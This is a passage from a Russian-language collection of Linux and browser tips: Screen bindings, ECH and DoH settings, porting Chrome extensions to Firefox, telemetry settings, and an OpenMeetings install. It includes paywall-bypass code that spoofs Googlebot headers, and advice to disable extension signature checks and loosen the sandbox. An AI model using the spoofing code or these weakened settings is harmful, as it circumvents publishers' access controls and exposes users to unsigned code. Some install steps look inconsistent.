     
       bind -c pastdemo1 1 paste 1  
       bind -c pastdemo1 2 paste 2  
       bindkey "^V" command -c pastdemo1
       bind -c copydemo1 1 readreg 1  
       bind -c copydemo1 2 readreg 2  
       bindkey "^C" command -c copydemo1
    
    В результате по нажатию клавиш control v  1
    
       ctrl v 1
    
    в активную сессию будет вставлен первый буфер, по ctrl v 2 второй. Получилось
    некое подобие именованных буферов ViM.
    
    Чтобы заполнить второй буфер  надо обычным образом заполнить стандартный
    буфер обмена Gnu Screen, то есть выполнить
    
       ctrl A ctrl [
    
    далее выбрать на терминале текст, что необходимо скопировать. Потом скопировать
    текст из обычного буфера в регистр 2 нажатием клавиш
    
       ctrl c 2
    
    Было бы удобнее, если бы по ctrl c 2 открывался режим копирования, как в
    стандартный буфер. Ещё хорошо бы если этот биндинг задавался проще - через
    что-то вроде bind -c copydemo1 * readreg *, но и данный пример конфигурации не
    сильно сложен.
    
     

       Работа с Web и Ftp

    ----* Как отключить TLS-расширение ECH для решения проблем с Cloudflare в РФ   [комментарии]
     
    Роскомнадзор начал блокировать в РФ  соединения к сайтам, использующим
    TLS-расширение ECH (Encrypted Client Hello). Блокировка привела к массовым
    проблемам с сайтами, работающими через сеть доставки контента Cloudflare,
    которую используют примерно 19% всех сайтов в интернете (по другим данным
    16%  (31 млн) активных сайтов или 23.83% из миллиона самых популярных сайтов).
    
    О масштабе сбоев можно судить хотя бы по тому, что из-за блокировки ECH была
    нарушена работа сайта самого Роскомнадзора, на котором для загрузки шрифтов
    использовался сервис webfontfree.com, работающий через Cloudflare (первая
    попытка открытия rkn.gov.ru приводила к минутному зависанию до истечения таймаута).
    
    
    ECH продолжает развитие TLS-расширений SNI и ESNI (Encrypted Server Name
    Indication) и предназначен для шифрования информации о параметрах TLS-сеансов,
    таких как запрошенное доменное имя. Если без ECH на стороне интернет-провайдера
    можно выборочно фильтровать HTTPS-трафик и анализировать какие сайты открывает
    пользователь, то ECH позволяет добиться полной конфиденциальности при
    применении HTTPS при обращении к сайтам, использующим сети доставки контента с
    поддержкой ECH. После включения поддержки ECH в Cloudflare Роскомнадзор потерял
    возможность блокировать сайты, использующие данную сеть доставки контента, и
    поэтому просто начал блокировать HTTPS-запросы с ECH (судя по всему блокировка
    ECH  пока ограничивается отдельными подсетями Cloudflare).
    
    На стороне пользователя в Firefox доступ к сайтам, работающим через Cloudflare,
    можно решить двумя путями:
    
    * отключить настройки network.dns.echconfig.enabled и
    network.dns.http3_echconfig.enabled на странице about:config
    
    * отключить использование протокола TLS 1.3 выставив в about:config параметр
    security.tls.version.max  в значение "3". При этом может быть нарушена работа с
    серверами, поддерживающими только протокол TLS 1.3 и отключившими поддержку TLS 1.2.
    
    В Chrome раньше ECH можно было отключить через параметр 
    chrome://flags#encrypted-client-hello, но с февраля этого года он удалён и ECH
    всегда включён по умолчанию. Для отключения ECH в Chrome обходным путём можно
    создать файл /etc/opt/chrome/policies/managed/conf.json c содержимым:
    
       {
         "EncryptedClientHelloEnabled": false
       }
    
    
    
    Владельцы сайтов, использующих Cloudflare, могут отключить ECH в личном
    кабинете dash.cloudflare.com в секции "SSL > Edge Certificates > Encrypted
    ClientHello (ECH)".
    
    Если тарифный план не предусматривает возможность изменения данной настройки
    через web-интерфейс, для отключения ECH можно использовать API:
    
       curl -X PATCH "https://api.cloudflare.com/client/v4/zones/ID_ZONE/settings/ech" -H "X-Auth-Key: YOUR_GLOBAL_API_KEY" -H "X-Auth-Email: YOUR_EMAIL" -H "Content-Type: application/json" --data '{"id":"ech","value":"off"}'
    
     
    ----* Политики для включения Manifest V2 и форсирования DNS через HTTPS в Chrome для Linux  (доп. ссылка 1)   Автор: birdie  [комментарии]
     
    Для включения второй версии манифеста и форсирования DNS через HTTPS с помощью CloudFlare в Chrome
    
    Для установки следует скопировать json-файлы из архива
    https://www.opennet.ru/soft/policies.tar.gz в каталог /etc/opt/chrome/policies/managed
    
    Содержимое:
    
    DoH-server.json
    
       { "DnsOverHttpsTemplates": "https://one.one.one.one/dns-query" }
    
    DoH.json
    
       { "DnsOverHttpsMode": "secure" }
    
    ExtensionManifestV2Availability.json
    
       { "ExtensionManifestV2Availability": 2 }
    
    Поддержку Manifest V2 удалят из кодовой базы Chrome 139 - после чего эти
    политики перестанут действовать.
    
     
    ----* Установка в Firefox официального расширения Google Translate, поставляемого для Chrome   Автор: Аноним  [комментарии]
     
    Думаю, многим, как и мне, в Firefox не хватает функции "встроенного" перевода
    страниц. Я перепробовал много расширений для перевода, но все они по
    функциональности уступают официальному расширению Google Translate для
    браузера Google Chrome. Есть похожее расширение Translate Web Pages, но оно
    имеет лишь "встроенный" перевод и не позволяет переводить выделенный или
    введённый вручную текст.
    
    В принципе, для этой цели можно использовать Foxified, но там как-то все сложно.
    
    Итак, для этого нужно:
    
    
  • Скачать расширение Google Translate из Chrome Web Store и распаковать его. Для этого есть куча разных сервисов (гугл в помощь), но так как у меня параллельно стоит браузер Google Chrome, я просто установил в нем это расширение, зашел в каталог с расширениями ~/.config/google-chrome/Default/Extensions/, нашел его там (надо найти подкаталог в версией расширения в названии; на данный момент это подкаталог с названием 2.0.9_0) и скопировать этот каталог в любое удобное для вас место.
  • Далее нужно немного отредактировать файл manifest.json. Итак, открывает этот файл в любом удобном вам редакторе и заменяем   "options_page": "options.html", на   "options_ui": {      "open_in_tab": true,      "page": "options.html"   },   "browser_specific_settings": {      "gecko": {         "id": "GoogleTranslate@google.com"      }   }, Ну или можно просто применить этот патч.
  • После этого нам нужно упаковать в zip-архив содержимое этого каталога (именно содержимое, а не сам каталог). Для этого в терминале переходим в этот каталог (на уровень с файлом manifest.json) и выполняем   zip -r GoogleTranslate@google.com.xpi .
  • Затем, чтобы иметь возможность установить наше расширение, нам нужно отключить проверку подписи расширений, так как наше расширение неподписанное. Для этого в браузере Firefox открываем страницу about:config, нажимаем кнопку Accept the Risk and Continue, ищем параметр xpinstall.signatures.required и устанавливаем его значение в false. Далее перезапускаем браузер.
  • Далее устанавливаем наше расширение. Открываем страницу about:addons, нажимаем на значок шестеренки, в выпадающем меню нажимаем Install Add-on From File и выбираем файл нашего расширения (напомню, это файл с названием GoogleTranslate@google.com.xpi). Вуаля, расширение установлено! Чтобы стала доступной страница настроек нашего расширения, нужно рядом с расширением нажать на три точки и затем нажать Manage. К сожалению, в нашем расширении не работает перевод выделенного текста во всплывающем окне, но зато работает "встроенный" перевод, перевод текста, введенного вручную, и перевод выделенного текста через контекстное меню. Аналогично, можно попробовать портировать другие расширения из Chrome Web Store в браузер Firefox: для этого их нужно проверить на совместимость и если расширение совместимо, то немного отредактировать файл manifest.json. Также для пущего удобства наше расширение можно подписать, но "это уже совсем другая история". Дополнение: Чтобы заработал перевод выделенного текста во всплывающем окне, нужно в файле popup_compiled.js найти текст "Jh=function(){" (без кавычек) и добавить после него текст "if(!jf.loaded)setTimeout(Jh,5);else " (без кавычек, но с пробелом в конце).
  •  
    ----* Конвертация Chrome-дополнения для запуска в Firefox (доп. ссылка 1)   [комментарии]
     
    Для установки в Firefox браузерных дополнений на базе API WebExtension,
    подготовленных только для Chrome или Opera, можно использовать дополнение
    Foxified (https://github.com/Noitidart/Chrome-Store-Foxified). Проблема в том,
    что Foxified не может быть запущен, начиная с Firefox 57, в котором была
    прекращена поддержка XUL/XPCOM.
    
    В качестве обходного пути предлагается параллельно с основной актуальной
    версией Firefox установить Firefox 56 и запустить в нём Foxified.
    
    Перед началом работы следует зарегистрироваться в каталоге дополнений Mozilla
    AMO (https://addons.mozilla.org) или войти в существующую учётную запись для
    последующего формирования цифровой подписи.
    
    Далее нужно скопировать URL Chrome-дополнения из Chrome WebStore и добавить его
    через меню "add to firefox, available on chrome" в Foxified. После этого во
    вкладке "chrome store foxified" нужно принять соглашение  Mozilla AMO. После
    завершения преобразования в верхнем правом углу появится кнопка "add" с
    предложением установить дополнение.
    
    После этого переходим на страницу about:debugging  и активируем режим отладки
    дополнений ("enable add-on debugging"). Находим в списке дополнений
    преобразованное дополнение и определяем его идентификатор
    (Extension ID), заданный в форме "*@chrome-store-foxified-*".
    
    Закрываем Firefox 56 и находим в каталоге с дополнениями Firefox
    (/.mozilla/firefox/*/extensions) xpi-файл с найденным идентификатором.
    Запускаем актуальный Firefox и устанавливаем полученный xpi-файл через кнопку с
    шестерёнкой в менеджере дополнений (about:addons), выбрав в меню "Install
    Add-on from File".
    
     
    ----* Включение DNS-over-HTTPS в Chrome (доп. ссылка 1)   [комментарии]
     
    В феврале в кодовую базу Chromium без лишней огласки была добавлена
    недокументированная возможность использования DNS-over-HTTPS (DoH).  Если в
    обычной ситуации DNS-запросы напрямую отправляются на определённые в
    конфигурации системы DNS-серверы, то в случае DoH запрос на определение
    IP-адреса хоста инкапсулируется в трафик HTTPS и отправляется на HTTP-сервер,
    на котором резолвер обрабатывает запросы через Web API. Существующий стандарт
    DNSSEC использует шифрование лишь для аутентификации клиента и сервера, но не
    защищает трафик от перехвата и не гарантирует конфиденциальность запросов.
    
    Для использования DoH-сервера компании  Cloudflare следует запустить Chrome с опциями:
    
    
       chrome --enable-features="dns-over-https<DoHTrial" \
        --force-fieldtrials="DoHTrial/Group1" \
        --force-fieldtrial-params="DoHTrial.Group1:server/https%3A%2F%2Fcloudflare-dns%2Ecom%2Fdns-query/method/POST
    
    
    
    В Firefox начиная с конца сентября поддержка DNS-over-HTTPS будет поступательно
    включаться по умолчанию. Для включения DoH не дожидаясь активации по
    умолчанию, в about:config следует изменить значение переменной network.trr.mode:
    
    * 0 полностью отключает DoH; 
    * 1 - используется DNS или DoH, в зависимости от того, что быстрее; 
    * 2 - используется DoH по умолчанию, а DNS как запасной вариант; 
    * 3 - используется только DoH; 
    * 4 - режим зеркалирования при котором DoH и DNS задействованы параллельно. 
    
    По умолчанию используется DNS-сервер CloudFlare, но его можно изменить через
    параметр network.trr.uri, например, можно установить
     "https://dns.google.com/dns-query" ("https://9.9.9.9/dns-query") 
     "https://dns.quad9.net/dns-query"  
     "https://doh.opendns.com/dns-query" 
     "https://cloudflare-dns.com/dns-query" ("https://1.1.1.1/dns-query")
     "https://doh.cleanbrowsing.org/doh/family-filter/"
      "https://doh.dns.sb/dns-query"
    
     
    ----* Блокировка установки системных дополнений и отправки телеметрии в Firefox (доп. ссылка 1)   [комментарии]
     
    Для запрета установки и обновления системных дополнений в about:config меняем
    (если переменная отсутствует, её необходимо создать):
    
       extensions.systemAddon.update.url=""
       extensions.systemAddon.update.enabled=false
    
    Для отключения сбора телеметрии:
    
       toolkit.telemetry.enabled=false
       toolkit.identity.enabled=false
       toolkit.crashreporter.infoURL=""
       toolkit.telemetry.infoURL=""
       toolkit.telemetry.rejected=true
       toolkit.telemetry.unified=false
       toolkit.telemetry.server=""
       toolkit.telemetry.cachedClientID=""
       toolkit.telemetry.archive.enabled=false
    
    
    
    Для отключения участия в тестировании экспериментальных возможностей:
    
       network.allow-experiments=false
       experiments.supported=false
       experiments.enabled=false
       experiments.activeExperiment=false
       experiments.manifest.uri=""
    
    Для отключения отправки отчётов о крахах:
    
       browser.selfsupport.url=""
       browser.tabs.crashReporting.sendReport - false
       security.ssl.errorReporting.enabled - false
       datareporting.healthreport.uploadEnabled=false
       datareporting.healthreport.service.enabled=false
       datareporting.healthreport.logging.consoleEnabled=false
       datareporting.policy.dataSubmissionEnabled=false
       datareporting.policy.dataSubmissionEnabled.v2=false
       dom.ipc.plugins.flash.subprocess.crashreporter.enabled - false
       dom.ipc.plugins.reportCrashURL - false
     
    
     
    ----* Как автоматически отключить закреплённые шапки на сайтах в Firefox   [комментарии]
     
    Последнее время дизайнеры всё чаще используют CSS-свойство "position: fixed"
    для закрепления шапки и футера, что создаёт дискомфорт при просмотре страниц и
    съедает драгоценное экранное пространство на широкоформатных экранах.
    
    Для автоматического отключения "position: fixed"  можно использовать дополнение
    greasemonkey
    вместе с простым скриптом  unfix-all-the-toolbars.user.js:
    
    
       // ==UserScript==
       // @name        unfix-all-the-toolbars
       // @description Removes "position: fixed" style from elements, unfixing "toolbars" and the such.
       // @namespace   http://inf.ufrgs.br/~vbuaraujo/
       // @include     *
       // @version     1
       // @grant       none
       // ==/UserScript==
    
    
       /* 
       Based on https://stackoverflow.com/questions/13696100/greasemonkey-script-to-make-fixed-positioned-elements-static
       2015-02-17: Original version.
       2016-05-01: Added the styleWidth threshold heuristic.
       The big problem here is we want to avoid unfixing *all* "position: fixed"
       elements, because some of them are fake popup windows which become quite
       unusable if you change them to "position: static". So we need some heuristic
       to distinguish "legitimate" fixed elements from gratuitous ones like navbars.
       */
    
       function numPixels(str) {
         if (str.endsWith("px"))
           return Number(str.slice(0, -2));
         else {
           console.log("unfix-all-the-toolbars: Computed width is not in pixels! " + width);
           return null;
         }
       }
    
      function unfixAll() {
         var bodyStyle = window.getComputedStyle(document.body);
         var pageWidth = numPixels(bodyStyle.width);
         var pageHeight= numPixels(bodyStyle.height);
         var toolbarWidthThreshold = 0.8 * pageWidth;
      
         Array.forEach(
           /* Assorted selection of likely fixed elements, to avoid querying all elements */
           document.querySelectorAll("h1, h2, ul, ol, li, div, nav, header, footer"),
           function (el) {
             var style = window.getComputedStyle(el);
             if (style.position === "fixed") {
               /* Avoid unfixing JavaScript popus like Twitter's "confirm retweet" window */
               if (style.display === "none" || style.visibility === "hidden") return;
               if (numPixels(style.width) < toolbarWidthThreshold) return;
            
               // Try to select the best replacement for 'fixed'. Still breaks lots of things, though.
              if (numPixels(style.bottom) === 0 && numPixels(style.top) > 0)
                 el.style.position = "static";    // Use static for footers.
               else
                 el.style.position = "absolute";
             }
          });
       }
    
       window.addEventListener("load", unfixAll);
    
    
    
    Другими вариантами могут  стать Firefox-дополнения unstickall, [[https://addons.mozilla.org/en-US/firefox/addon/hide-fixed-elements/ Hide Fixed
    Elements]] и Bar Breaker, которые позволяют отключить закрепление любого
    блока через клик на нём.
    
     
    ----* Использование ALSA в Firefox и приложениях, поддерживающих только PulseAudio (доп. ссылка 1)   [комментарии]
     
    В рамках проекта apulse развивается эмулятор API PulseAudio на базе
    подсистемы ALSA, позволяющий запускать некоторые привязанные к PulseAudio
    приложения без установки данного звукового сервера.
    
    Например, для запуска Firefox поверх ALSA достаточно выполнить:
    
        apulse firefox
    
    предварительно настроив устройство вывода и изменив параметры sandbox-изоляции в Firefox.
    
    Если устройство вывода звука по умолчанию не заработало, то его можно указать
    через переменную окружения APULSE_PLAYBACK_DEVICE, например:
    
       export APULSE_PLAYBACK_DEVICE=plughw:0,0 
    или
       export APULSE_PLAYBACK_DEVICE=hw:0,0 
    
    Список доступных устройств можно посмотреть командой
    
       aplay -L
    
    
    При использовании микрофона можно настроить и устройство ввода:
    
       export APULSE_CAPTURE_DEVICE=plughw:2,0 
    
    где 2 - это канал, связанный с микрофоном в web-камере (0 - встроенная карта, 1
    звуковой ввод через HDMI).
    
    В Firefox следует в настройках about:config разрешить доступ к устройству /dev/snd
    
       security.sandbox.content.read_path_whitelist = /dev/snd/,/home/username/.asoundrc
       security.sandbox.content.write_path_whitelist = /dev/snd/ 
    
    если не заработало также можно попробовать
    
       security.sandbox.content.level=2
    
    Если не работает смешивание звуков и при воспроизведении в Firеfox приглушаются
    другие источники, в файл ~/.asoundrc можно добавить
    
       pcm.plugdmix {
           type plug
           slave.pcm "dmix"
       }
    
    И указать устройство выхода plugdmix:
    
       export APULSE_PLAYBACK_DEVICE=plugdmix
    
     
    ----* Обход ограничения доступа к материалам сайтов для платных подписчиков (доп. ссылка 1)   [комментарии]
     
    Некоторые крупные англоязычные издания практикуют частичное ограничение доступа
    к актуальным статьям, публикуя анонсы в социальных сетях и других новостных
    изданиях, но предоставляя полный текст только платным подписчикам. В итоге,
    пользователь переходит по ссылке, ожидая увидеть подробности, но попадает на
    страницу с первым абзацем и предложением подписаться на полный доступ к сайту
    (Paywall). Подобный метод практикуют такие крупные издания, как dailypress.com,
    economist.com, forbes.com, hbr.org, inc.com, independent.co.uk, newsweek.com,
    newyorker.com, nytimes.com, thenation.com и wsj.com.
    
    Особенностью подавляющего большинства Paywall-сайтов является то, что они
    открывают полный доступ поисковым системам и социальным сетям, так как
    заинтересованы в индексации текстов и привлечении посетителей, ищущих данный
    материал. Поэтому для обхода блокировки, как правило, достаточно просто сменить
    идентификатор браузера и притвориться поисковым ботом. Для некоторых сайтов
    также может потребоваться очистить Cookie, если ранее сайт уже открывался в
    браузере. Например, можно запросить страницу, сменив User Agent на:
    
       Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
    или
       Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible ; Googlebot/2.1 ; +http://www.google.com/bot.html)"
    
    Для смены можно воспользоваться любым браузерным дополнением, меняющим User
    Agent, или установить специализированное дополнение Anti-Paywall.
    
     
    ----* Подмена параметров браузера для входа в закрытые области новостных сайтов (доп. ссылка 1)   [комментарии]
     
    Для обеспечения индексации поисковыми системами большинство сайтов с платным
    новостным контентом предоставляют обходной путь для беспрепятственного входа
    поискового бота Google. Бот проверяется по содержимому заголовков Referer и
    User-Agent, что позволяет любому желающему просмотреть закрытые области заменив
    идентификатор браузера и указав в качестве адреса предыдущей страницы google.com.
    
    Более того, некоторые платные ресурсы на основе значения Referer открывают
    полный текст статьи для посетителей пришедших с поисковых систем, но при
    попытке прямого обращения, требуют регистрации для просмотра платного контента.
    Такое поведение выглядит как дискриминация различных категорий пользователей.
    
    Для автоматизации беспрепятственного доступа к таким ресурсам как Wall Street
    Journal предлагается  небольшое дополнение к браузеру Chrome.
    
    Создаём файл manifest.json, перечислив сайты для которых следует притвориться поисковым ботом:
    
       {
         "name": "Innocuous Chrome Extension",
         "version": "0.1",
         "description": "This is an innocuous chrome extension.",
         "permissions": ["webRequest", "webRequestBlocking",
                      "http://www.ft.com/*",
                      "http://www.wsj.com/*",
                      "https://www.wsj.com/*",
                      "http://www.economist.com/*",
                      "http://www.nytimes.com/*",
                      "https://hbr.org/*",
                      "http://www.newyorker.com/*",
                      "http://www.forbes.com/*",
                      "http://online.barrons.com/*",
                      "http://www.barrons.com/*",
                      "http://www.investingdaily.com/*",
                      "http://realmoney.thestreet.com/*",
                      "http://www.washingtonpost.com/*"
                      ],
         "background": {
           "scripts": ["background.js"]
         },
         "manifest_version": 2
       }
    
    Создаём скрипт background.js:
    
       var ALLOW_COOKIES = ["nytimes", "ft.com"]
    
       function changeRefer(details) {
         foundReferer = false;
         foundUA = false
    
         var reqHeaders = details.requestHeaders.filter(function(header) {
           // block cookies by default
           if (header.name !== "Cookie") {
             return header;
           } 
    
           allowHeader = ALLOW_COOKIES.map(function(url) {
             if (details.url.includes(url)) {
               return true;
             }
           });
           if (allowHeader.filter(Boolean)==true) return header; 
    
         }).map(function(header) {
        
           if (header.name === "Referer") {
             header.value = "https://www.google.com/";
             foundReferer = true;
           }
           if (header.name === "User-Agent") {
             header.value = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";
             foundUA = true;
           }
           return header;
         })
      
         // append referer
         if (!foundReferer) {
           reqHeaders.push({
             "name": "Referer",
             "value": "https://www.google.com/"
           })
         }
         if (!foundUA) {
           reqHeaders.push({
             "name": "User-Agent",
             "value": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
           })
         }
         console.log(reqHeaders);
         return {requestHeaders: reqHeaders};
       }
    
       function blockCookies(details) {
         for (var i = 0; i < details.responseHeaders.length; ++i) {
           if (details.responseHeaders[i].name === "Set-Cookie") {
             details.responseHeaders.splice(i, 1);
           }
         }
         return {responseHeaders: details.responseHeaders};
       }
       
       chrome.webRequest.onBeforeSendHeaders.addListener(changeRefer, {
         urls: ["<all_urls>"],
         types: ["main_frame"],
       }, ["requestHeaders", "blocking"]);
    
       chrome.webRequest.onHeadersReceived.addListener(blockCookies, {
         urls: ["<all_urls>"],
         types: ["main_frame"],
       }, ["responseHeaders", "blocking"]);
    
    
    
    Размещаем manifest.json и background.js в отдельной директории, открываем в
    Chrome страницу chrome://extensions/, включаем режим разработчика (Developer
    Mode), выбираем пункт "Click Load unpacked extension..." и указываем в
    открывшемся диалоге путь к директории с файлами.
    
     
    ----* Увеличение числа вкладок, вмещающихся в строке Firefox (доп. ссылка 1)   [комментарии]
     
    В ~/.mozilla/firefox/директория с профилем/chrome/userChrome.css добавляем:
    
       /* Уменьшаем размер шрифта, при желании меняем шрифт */
       .tabbrowser-tab .tab-text
       {
          font-size: 20px !important;
          font-family: Verdana !important; 
       }
    
       /* Уменьшаем высоту вкладок и отступы */
       .tabbrowser-tab {
          height: 24px !important;
          padding-right: 4px !important;
       }
       .tabbrowser-strip {
          height: 24px !important;
       }
    
       /* Уменьшаем минимальную ширину вкладки, чтобы больше влезло без прокрутки */
        .tabbrowser-tab[fadein]:not([pinned]) {
           min-width: 40px !important;
           max-width: 180px !important;
        }
    
     
    ----* Установка сервера видеоконференций openmeetings 2.2 в Debian 7.4   Автор: Artem Solodchenko  [комментарии]
     
    Настройка openmeetings в Debian  7.4. 
    
    
    
    Добавляем репозитории в /etc/apt/sources.list
    
       # основное зеркало debian
       deb http://ftp.debian.org/debian/ squeeze main contrib non-free
       deb http://ftp.debian.org/debian/ squeeze-updates main contrib non-free
       deb http://ftp.debian.org/debian/ squeeze-proposed-updates main contrib non-free
       # зеркало от яндекс
       deb http://mirror.yandex.ru/debian/ squeeze main contrib non-free
       deb http://mirror.yandex.ru/debian/ squeeze-updates main contrib non-free
       deb http://mirror.yandex.ru/debian/ squeeze-proposed-updates main contrib non-free
       # дополнительные зеркала
       deb http://security.debian.org/ squeeze/updates main contrib  non-free
       deb http://www.debian-multimedia.org squeeze main non-free
       deb http://backports.debian.org/debian-backports squeeze-backports main
       # дополнительные зеркала от яндекс
       deb http://mirror.yandex.ru/debian-security/ squeeze/updates main contrib non-free
       deb http://mirror.yandex.ru/debian-multimedia squeeze main non-free
       deb http://mirror.yandex.ru/debian-backports squeeze-backports main
    
    далее обновляемся и устанавливаем ключи подписи для репозитория http://www.debian-multimedia.org/
    
       aptitude update && aptitude -y install debian-multimedia-keyring && aptitude update
    
    Оттуда будем устанавливать более менее свежие lame и ffmpeg, необходимые для
    конвертации в openmeetings
    Ставим всякую мелочевку:
    
       apt-get install mc screen bash-completion dnsutils ntpdate
    
    Устанавливаем mysql, веб-администратор apache
    
       aptitude -y install  mysql-server phpmyadmin
    
    Редактируем конфиг mysql, добавляем в /etc/mysql/my.conf
    
       [mysqld]
       skip-character-set-client-handshake
       collation-server = utf8_unicode_ci
       init-connect = 'SET NAMES utf8'
       character-set-server = utf8
       [client]
       default-character-set = utf8
       [mysql]
       default-character-set = utf8
    
    Перезапускаем mysql
    
       /etc/init.d/mysql restart
    
    А после, запустим вот этот скрипт /usr/bin/mysql_secure_installation. Он будет
    задавать вопросы. Отвечаем так:
    
       Enter current password for root (enter for none): 
       жмём энтер, т.к. пароль пароль суперпользователя на mysql у нас пока пустой
       Set root password? [Y/n] y
       New password: вводим пароль суперпользователя на mysql
       Remove anonymous users? [Y/n] y
       Disallow root login remotely? [Y/n] y
       Remove test database and access to it? [Y/n] y
       Reload privilege tables now? [Y/n] y
    
    С помощью этого скрипта мы выполнили следующие действия: задали пароль для
    суперпользователя root, так как по умолчанию для него не установлен пароль;
    удалили анонимного пользователя, который создаётся только для тестовых целей;
    запретили пользователю root входить удалённо - теперь он сможет заходить только
    с localhost; удалили тестовую БД test и доступ к ней.
    
    Далее создаем необходимые базы:
    
       mysql -p
       CREATE DATABASE `openmeetings`;
       GRANT ALL PRIVILEGES ON openmeetings.* TO 'openmeetings'@'localhost' IDENTIFIED BY 'my_password' WITH GRANT OPTION;
    
    этим мы создаем базу openmeetings, пользователя openmeetings с паролем my_password
    
    Устанавливаем "безголовый" openoffice, java6, imagemagic, ghostscript, ffmeg,
    lame, mscorefonts и тд
    
       aptitude install texi2html unzip sun-java6-bin imagemagick ghostscript openoffice.org-core openoffice.org-base openoffice.org-writer openoffice.org-calc openoffice.org-impress openoffice.org-draw openoffice.org-math openoffice.org-filter-mobiledev openoffice.org-filter-binfilter ttf-mscorefonts-installer pstoedit libpaper-utils ttf-dejavu sox ffmpeg lame libart-2.0-2 sun-java6-bin sun-java6-jdk sun-java6-jre
    
    Для нормальной работы openmeetengs  нужен swftools. Тот, который доступен в
    репозитории не полон. Придется собрать руками. Устанавливаем swftools:
    
       wget http://www.swftools.org/swftools-0.9.2.tar.gz
       apt-get install libfreetype6 libfreetype6-dev libjpeg62 libjpeg62-dev libt1-dev \\
           libungif4-dev libavifile-0.7-dev libavifile-0.7c2
       ./configure && make clean && make && make install
    
    Выкачиваем OpenMeetings 2.2
    
       mkdir /opt/red5
       cd /opt/red5
       wget http://www.apache.org/dyn/closer.cgi/openmeetings/2.2.0/bin/apache-openmeetings-2.2.0.zip
       unzip  apache-openmeetings-2.2.0.zip
    
    После чего, находим файл
    /opt/red5/webapps/openmeetings/WEB-INF/classes/META-INF/mysql_persistence.xml. В
     нём нас интересует вот этот блок:
    
      , MaxActive=100
      , MaxWait=10000
      , TestOnBorrow=true
      , poolPreparedStatements=true
      , Username=root
      , Password="/>
    
    правим
    
      , Username=openmeetings
      , Password=my_password"/>
    
    
    После окончания редактирования файла, нужно переименовать mysql_persistence.xml
    в persistence.xml (заменить существующий  persistence.xml)
    
    создаем скрипты запуска red5, openoffice
    
       cd /etc/init.d/
    
    В /etc/init.d/red5 копируем 
    
       #! /bin/sh
       # red5 initscript
       set -e
       PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
       DESC="Red5 flash streaming server"
       NAME=red5
       DAEMON_HOME=/opt/red5
       DAEMON=$DAEMON_HOME/$NAME.sh
       PIDFILE=/var/run/$NAME.pid
       SCRIPTNAME=/etc/init.d/$NAME
       # Gracefully exit if the package has been removed.
       test -x $DAEMON || exit 0
       # Read config file if it is present.
       if [ -r /etc/default/$NAME ]
       then
          . /etc/default/$NAME
       fi
       # Function that starts the daemon/service.
       d_start() {
          start-stop-daemon --start --pidfile $PIDFILE --chdir $DAEMON_HOME --background --make-pidfile --exec $DAEMON
       }
       # Function that stops the daemon/service.
       d_stop() {
          start-stop-daemon --stop --quiet --pidfile $PIDFILE --name java
          rm -f $PIDFILE
       }
       case "$1" in
       start)
          echo -n "Starting $DESC: $NAME"
          d_start
          echo "."
          ;;
       stop)
          echo -n "Stopping $DESC: $NAME"
          d_stop
          echo "."
          ;;
       restart|force-reload)
          echo -n "Restarting $DESC: $NAME"
          d_stop
          sleep 1
          d_start
          echo "."
          ;;
       *)
       echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
       exit 1
       ;;
       esac
       exit 0
    
    Сохраняемся, выходим и создадим скрипт запуска для soffice-headless
    В /etc/init.d/soffice-headless копируем:
    
       #!/bin/bash
       # openoffice.org headless server script
       set -e
       PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
       DESC="OpenOffice.org headless server"
       NAME=soffice-headless
       DAEMON_HOME=/usr/lib/libreoffice/program
       DAEMON=$DAEMON_HOME/$NAME.sh
       PIDFILE=/var/run/$NAME.pid
       SCRIPTNAME=/etc/init.d/$NAME
       # Gracefully exit if the package has been removed.
       test -x $DAEMON || exit 0
       # Read config file if it is present.
       if [ -r /etc/default/$NAME ]
       then
          . /etc/default/$NAME
       fi
       # Function that starts the daemon/service.
       d_start() {
          start-stop-daemon --start --pidfile "${PIDFILE}" --chdir "${DAEMON_HOME}" --background --make-pidfile --exec $DAEMON
       }
       # Function that stops the daemon/service.
       d_stop() {
          start-stop-daemon --stop --quiet --pidfile "${PIDFILE}" --name java
          rm -f "${PIDFILE}"
       }
       case "$1" in
       start)
          echo -n "Starting $DESC: $NAME"
          d_start
          echo "."
          ;;
       stop)
          echo -n "Stopping $DESC: $NAME"
          d_stop
          echo "."
          ;;
       restart|force-reload)
          echo -n "Restarting $DESC: $NAME"
          d_stop
          sleep 1
          d_start
          echo "."
          ;;
       *)
       echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
       exit 1
       ;;
       esac
       exit 0
    
    Сохраняемся, выходим, делаем скрипты исполняемыми и устанавливаем их в автозапуск
    
       chmod 755 /etc/init.d/red5 && update-rc.d red5 defaults && chmod 755 /etc/init.d/soffice-headless && update-rc.d soffice-headless defaults
    
    Для запуска openoffice создадим еще один скрипт:
    
    В /usr/lib/libreoffice/program/soffice-headless.sh копируем:
    
       #!/bin/bash
       # openoffice.org headless server script
       #
       unset DISPLAY
       /usr/lib/libreoffice/program/soffice "-accept=socket,host=localhost,port=8100;urp;StarOffice.ServiceManager" -nologo -headless -nofirststartwizard
    
    Сохраняемся, выходим и делаем его исполняемым
    
       chmod 755 /usr/lib/libreoffice/program/soffice-headless.sh
    
    Проверяем работоспособность скрипта "безголового"; офиса. Запускаем его:
    
       /etc/init.d/soffice-headless
    
    вбиваем:
    
       netstat -an | grep 8100
    
    Должны увидеть:
    
       tcp 0 0 127.0.0.1:8100 0.0.0.0:* LISTEN
    
    Далее, скачиваем jConnector со страницы http://www.mysql.com/downloads/connector/j/
    
    Он нужен openmeetings для подключения к базе mysql. Распаковываем содержимое
    скачанного архива mysql-connector-java-5.1.22.zip (на момент написания статьи).
    В нём нас интересует лишь файл mysql-connector-java-5.1.22-bin.jar. Его надо
    поместить в каталог /opt/red5/webapps/openmeetings/WEB-INF/lib.
    
    Дальше надо скачать JODConverter - http://code.google.com/p/jodconverter/downloads/list
    
    JODConverter нужен для конвертирования офисных файлов в pdf для отображения на
    доске. Содержимое архива jodconverter-core-3.0-beta-4-dist.zip (на момент
    написания статьи) копируем в каталог /opt/openmeetings/webapps/openmeetings/jodcoverter.
    
